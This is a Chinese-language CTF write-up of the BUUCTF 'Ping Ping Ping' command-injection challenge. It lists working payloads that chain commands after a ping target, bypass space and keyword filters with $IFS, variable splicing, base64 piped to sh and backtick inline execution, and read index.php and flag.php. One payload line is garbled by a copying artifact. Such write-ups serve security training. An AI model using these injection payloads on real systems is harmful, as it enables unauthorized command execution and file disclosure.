buuctf-Ping Ping Ping

buuctf-Ping Ping Ping

  • 先尝试?ip=127.0.0.1&ls 发现不行
    在这里插入图片描述

  • 尝试?ip=127.0.0.1|ls,发现可以
    在这里插入图片描述

  • 尝试?ip=127.0.0.1|cat flag.php,发现空格需要绕过
    在这里插入图片描述
    空格绕过方法:
    $IFS
    ${IFS}
    $IFS$1 // 1 改 成 1改成 1加其他数字貌似都行
    <
    <>
    {cat,flag.php} //用逗号实现了空格功能
    %20
    %09
    试了一下,发现$IFS 1 可 以 , 所 以 ? i p = 127.0.0.1 ∣ c a t 1可以,所以?ip=127.0.0.1|cat 1,?ip=127.0.0.1catIFS$1flag.php,得到
    在这里插入图片描述

  • 发现flag又被过滤了,此时想到用黑名单拼接绕过试试看,但是发现还是不行,看了wp,发现此时的网页源代码在index.php里面,故?ip=127.0.0.1|cat$IFS$1index.php,得到在这里插入图片描述

  • 看到过滤了许多标点,空格,bash,包括flag的贪婪匹配,不过sh没过滤

  • 贪婪匹配
    1、贪婪匹配
    总是尝试匹配尽可能多的字符
    2、非贪婪匹配
    总是尝试匹配尽可能少的字符
    3.编程中如何区分两种模式
    默认是贪婪模式;在量词后面直接加上一个问号?就是非贪婪模式。
    在这里插入图片描述

  • bash
    过滤bash?那就用sh,sh的大部分脚本都可以在bash下运行。

  • 尝试如下方法绕过flag

法一拼接:?ip=127.0.0.1|a=f;b=lag;cat$IFS$1$a$b.php//该拼接不行

问了师兄,师兄说是因为在这里插入图片描述不是被ban了,而是没有读到flag,相当于:fla$a时,就是$a,而为fl$ag时,它就不知道到底是$a还是$ag,这里并非源代码里正则的问题。

?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php

或者

?ip=127.0.0.1|a=g;cat$IFS$1fla$a.php 

发现居然不可以,仔细对比了一下,发现把|改为;才能出flag
问了师兄,发现是因为|是管道符, A|B 中A的输出是作为B的输入,其中存在参数的问题,虽然|执行ls可以,但是执行cat不行
当然?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php 也是不可以的,理由同上。

法二base64编码:?ip=127.0.0.1;echo$IFS$1"Y2F0IGZsYWcucGhw"|base64 -d`   

Y2F0IGZsYWcucGhw是cat flag.php的base64编码,但是由于"与’均进了黑名单,故试另外一个base64编码。

?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh  

由于"被过滤了,故要记得删掉Y2F0IGZsYWcucGhw两边的",此时可以得到flag

法三利用 * 匹配任意:?ip=127.0.0.1;cat$IFS$1fl*   //发现通配符*被过滤
法四内联执行:?ip=127.0.0.1;cat$IFS$9`ls`

内联执行,就是将反引号内命令的输出作为输入执行。
反引号:键盘的左上方, 1的左边不需要组合键, 直接按下
秒题?在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值